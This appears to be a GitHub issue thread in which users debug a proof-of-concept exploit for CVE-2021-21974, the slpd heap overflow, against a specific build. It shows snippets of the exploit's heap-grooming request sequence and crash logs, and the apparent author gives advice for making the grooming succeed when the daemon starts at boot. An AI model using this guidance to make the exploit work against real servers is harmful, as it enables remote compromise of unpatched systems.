Crash on Client 16 - 14320388

[meirtolpin11]

Hi,
so I am trying to run the PoC against build 14320388, but every time it crashes on this part -

 requests[14].put(close())

 requests[15].put(connect())

 requests[15].put(attribute_request(b'service:pwn', 0x20))

 requests[13].put(block(0x110))

 requests[16].put(connect())

 requests[17].put(connect())

Any Ideas why ? I tried to play with the timer, set it 1,5,8,10, but nothing helps. Everytime the same error :(

Any ideas?

[straightblast]

Hi, It looks like the clients are running out of sync. The clients should run in sequential order (1,2 .. 14, 15, 16) etc, for both the requests and responses. Best bet is to revise the code to remove threading and create an array of clients and make them one sequentially, that should correct the issue.

…

On Tue, Sep 7, 2021 at 9:34 AM meirtolpin11 ***@***.***> wrote: Hi, so I am trying to run the PoC against build 14320388, but every time it crashes on this part - ` requests[14].put(close()) requests[15].put(connect()) requests[15].put(attribute_request(b'service:pwn', 0x20)) requests[13].put(block(0x110)) requests[16].put(connect()) requests[17].put(connect()) Any Ideas why ? I tried to play with the timer, set it 1,5,8,10, but nothing helps. Everytime the same error :([SLP Client-14] service request [SLP Client-14] recv: b'\x02\x02\x00\x00\x14\x00\x00\x00\x00\x00\x00\x05\x00\x02en\x002\x00\x00' [SLP Client-12] service request [SLP Client-12] recv: b'\x02\x02\x00\x00\x14\x00\x00\x00\x00\x00\x00\x05\x00\x02en\x002\x00\x00' [SLP Client-14] close [SLP Client-15] connect [SLP Client-15] attribute request [SLP Client-15] recv: b'' [SLP Client-13] service request [SLP Client-13] recv: b'' [SLP Client-16] connect [SLP Client-17] connect [SLP Client-12] close Exception in thread Thread-16: Traceback (most recent call last): File "C:\Python38-32\lib\threading.py", line 932, in _bootstrap_inner self.run() File "CVE-2021-21974.py", line 56, in run s.connect((IP, PORT)) ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it [SLP Client-18] connect ` Any ideas? — You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub <#5>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AGBX6EDFUQSVV7YBO5APDY3UAY5I5ANCNFSM5DSYOR2Q> . Triage notifications on the go with GitHub Mobile for iOS <https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675> or Android <https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub>.

[meirtolpin11]

Hi,

I just removed the threading, and tried to exploit it again -

Still crashing on SLP client 16 connect.
After the step of attribute_request of client 15 it's sending the 13's block and crashing.

[meirtolpin11]

played a bit with a debugger - crashing when 15 is sending attribute_request(b'service:pwn', 0x20)

[straightblast]

It looks like it is still out of sync, the request and response for each client must be in consecutive order. It is my bad for using threading. Perhaps remove threading + introduce a sleep per each request/response to see if it makes a difference?

…

On Thu, Sep 9, 2021 at 10:37 AM meirtolpin11 ***@***.***> wrote: played a bit with a debugger - crashing when 15 is sending attribute_request(b'service:pwn', 0x20) — You are receiving this because you commented. Reply to this email directly, view it on GitHub <#5 (comment)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AGBX6ECOXK35CPCIGD4EY2LUBDWHBANCNFSM5DSYOR2Q> . Triage notifications on the go with GitHub Mobile for iOS <https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675> or Android <https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub>.

[meirtolpin11]

I already removed threading.
it's running exactly like the order in the exploit function.

slpclients[11].run(connect())
slpclients[12].run(connect())
slpclients[13].run(connect())
slpclients[11].run(block(0x810))
slpclients[14].run(connect())
slpclients[14].run(block(0x160))
slpclients[12].run(block(0x810))
slpclients[14].run(close())
slpclients[15].run(connect())
slpclients[15].run(attribute_request(b'service:pwn', 0x20))
slpclients[13].run(block(0x110))
slpclients[16].run(connect())
slpclients[17].run(connect())
slpclients[12].run(close())
slpclients[18].run(connect())

this is the code part, the order in the code is the same as in the terminal output. And the after every client's request there is the same client's recv (and only then the next client).

[straightblast]

If that's the case, the heap grooming got messed up I assume. This could be the way how you start up the slpd daemon, i noticed running it directly, or through init.d have different heap states for the slpd

…

On Thu, Sep 9, 2021 at 11:58 AM meirtolpin11 ***@***.***> wrote: I already removed threading. it's running exactly like the order in the exploit function. ` slpclients[11].run(connect()) slpclients[12].run(connect()) slpclients[13].run(connect()) slpclients[11].run(block(0x810)) slpclients[14].run(connect()) slpclients[14].run(block(0x160)) slpclients[12].run(block(0x810)) slpclients[14].run(close()) slpclients[15].run(connect()) slpclients[15].run(attribute_request(b'service:pwn', 0x20)) slpclients[13].run(block(0x110)) slpclients[16].run(connect()) slpclients[17].run(connect()) slpclients[12].run(close()) slpclients[18].run(connect()) ` this is the code part, the order in the code is the same as in the terminal output. And the after every client's send there is the same client's recv. — You are receiving this because you commented. Reply to this email directly, view it on GitHub <#5 (comment)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AGBX6EB4Q7RGD25ONI5OOOLUBD7UDANCNFSM5DSYOR2Q> . Triage notifications on the go with GitHub Mobile for iOS <https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675> or Android <https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub>.

[meirtolpin11]

Yes it's really the problem.
When I run the slpd manually it's working perfect, but when its starting up by the os - the heap grooming not working.
you have any idea how to bypass this issue?

[straightblast]

You will have to setup a debugger to see what the heap looks like when slpd starts. From there, it probably have some freed chunks that needs to be filled up ahead of time or it gets pick up by the heap grooming process.

…

On Thu, Sep 9, 2021 at 12:46 PM meirtolpin11 ***@***.***> wrote: Yes it's really the problem. When I run the slpd manually it's working perfect, but when its starting up by the os - the heap grooming not working. you have any idea how to bypass this issue? — You are receiving this because you commented. Reply to this email directly, view it on GitHub <#5 (comment)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AGBX6EFWYQH6KNCRBJONJI3UBEFI5ANCNFSM5DSYOR2Q> . Triage notifications on the go with GitHub Mobile for iOS <https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675> or Android <https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub>.

[GulperCatfish]

@meirtolpin11 Hi, could you please share your exploit after replacing the thread with the array implementation.